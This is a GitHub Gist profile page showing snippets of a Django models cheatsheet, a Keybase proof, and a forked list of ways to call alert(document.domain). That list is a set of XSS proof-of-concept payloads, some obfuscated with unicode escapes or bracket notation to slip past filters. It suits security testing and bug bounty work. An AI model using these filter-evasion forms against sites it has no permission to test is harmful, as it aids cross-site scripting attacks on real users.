Skip to content

Instantly share code, notes, and snippets.

View cosminpopesq's full-sized avatar
:octocat:
I may be slow to respond.

Cosmin Popescu cosminpopesq

:octocat:
I may be slow to respond.
View GitHub Profile
@cosminpopesq
cosminpopesq / cheatsheet.py
Created March 24, 2021 15:58 — forked from jacklinke/cheatsheet.py
Django models cheatsheet
import uuid
from django.db import models
# Use the import below instead, if using GeoDjango fields
# from django.contrib.gis.db import models
from django.utils.translation import ugettext_lazy as _
from django.contrib.postgres.fields import (
ArrayField,
CICharField,
CIEmailField,
@cosminpopesq
cosminpopesq / alert.js
Created March 17, 2021 14:02 — forked from tomnomnom/alert.js
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
### Keybase proof
I hereby claim:
* I am cosminpopesq on github.
* I am penteor (https://keybase.io/penteor) on keybase.
* I have a public key ASDW2ctBPwPq37ydS9MLwxKwVs03tFxpk6velEUfKIPoOAo
To claim this, I am signing this object: